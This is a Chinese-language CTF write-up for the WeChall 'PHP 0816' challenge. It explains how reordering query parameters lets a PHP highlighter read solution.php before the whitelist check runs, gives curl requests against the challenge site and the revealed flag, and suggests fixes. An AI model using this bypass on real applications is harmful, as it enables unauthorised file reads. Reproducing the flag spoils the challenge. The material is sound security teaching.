WeChall - PHP 0816

PHP0816 Challenge - The Highlighter 一个带白名单的 PHP source highlighter。目标是绕过 src 白名单,读到 solution.php

Challenge

PHP 0816 是 PHP 0815 后面的一个小型 Web/PHP 题,难度 4.10。页面给了几个链接:

  • solution.php:真正想读的文件。
  • code.php?src=code.php&mode=hl:用 highlighter 查看 code.php 自身。
  • code.php?src=code.php&hl[0]=function&mode=hl:同样查看源码,但额外高亮 function

也就是说,题目没有隐藏源码。真正要看的就是 code.php 怎么处理 GET 参数。

核心代码先按 query string 里的参数顺序遍历 $_GET

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}

src 的白名单只允许三个文件:

1
2
3
4
5
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

目标是让 highlighter 读取白名单之外的 solution.php

Solution

先把约束列出来:

  • 直接访问 ?src=solution.php&mode=hl 会失败,因为 src 先被白名单检查改成 false
  • highlighter 读文件前只做路径字符清理:去掉 /\..,但不会重新检查 whitelist。
  • PHP 在脚本开始执行前已经把完整 query string 解析进 $_GET;后面的 foreach ($_GET as ...) 只是按参数插入顺序处理每个 key。

题目源码里甚至把方向提示写出来了:

1
2
# if you like a hint: There is a main logical error in this script,
# applies to all programming languages, not only php. H4\/3: |> |-| |_| |\|)

这里的点不是 PHP 语法 trick,而是 code-flow mistake:检查和使用的顺序错了。

src 的检查函数失败时,只是修改 $_GET['src'],没有 return / exit,也没有把验证后的文件名保存到一个独立变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;

static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}

真正读取文件的位置在 highlighter 里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816Highlighter()
{
global $highlights;

# SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :(
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));

if (false === ($text = @file_get_contents($filename)))
{
echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
return false;
}

$text = htmlspecialchars($text, ENT_QUOTES);
echo '<pre>'.$text.'</pre>';
}

对比两个请求就很清楚。

正常顺序会失败:

1
?src=solution.php&mode=hl

处理流程:

  1. src=solution.php 先被处理。
  2. solution.php 不在 whitelist 中,$_GET['src'] 被改成 false
  3. mode=hl 后处理,highlighter 再读 Common::getGet('src'),拿到的已经不是原始文件名。
  4. 页面返回 File not Found

mode 放到 src 前面:

1
?mode=hl&src=solution.php

流程就反过来了:

  1. PHP 已经把完整 query string 解析进 $_GET,所以 $_GET['src'] 此时已经存在,值是 solution.php
  2. foreach 第一个处理到 mode=hl,调用 php0816execute('hl')
  3. highlighter 立即执行 Common::getGet('src'),读到尚未被 whitelist 改写的原始值 solution.php
  4. file_get_contents('solution.php') 成功读取文件。
  5. 后面才轮到 src=solution.php 的 whitelist 检查,但文件已经被输出,已经太晚。

用 curl 验证坏顺序:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?src=solution.php&mode=hl' \
| grep -o 'File not Found'
File not Found

再验证利用顺序:

1
2
3
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?mode=hl&src=solution.php'

返回的 <pre> 里能看到 solution.php

1
2
3
4
5
<?php
# The solution is 'AnotherCodeflowMistake';
?>
NOTHING MORE?
END OF FILE!

这类 bug 可以看作参数处理流程里的 TOCTOU:检查逻辑和使用逻辑都存在,但程序允许“使用”发生在“检查”之前。

修复方式不是再补一个字符串过滤,而是让“最终被使用的文件名”只能来自验证后的状态。例如:

  • 先统一解析全部参数,完成 whitelist 检查后再执行 mode 动作。
  • 不把安全状态写回 $_GET,而是使用独立的 $sourceFile 变量保存验证后的文件名。
  • php0816Highlighter() 内部对最终文件名重新做 whitelist 检查。
AnotherCodeflowMistake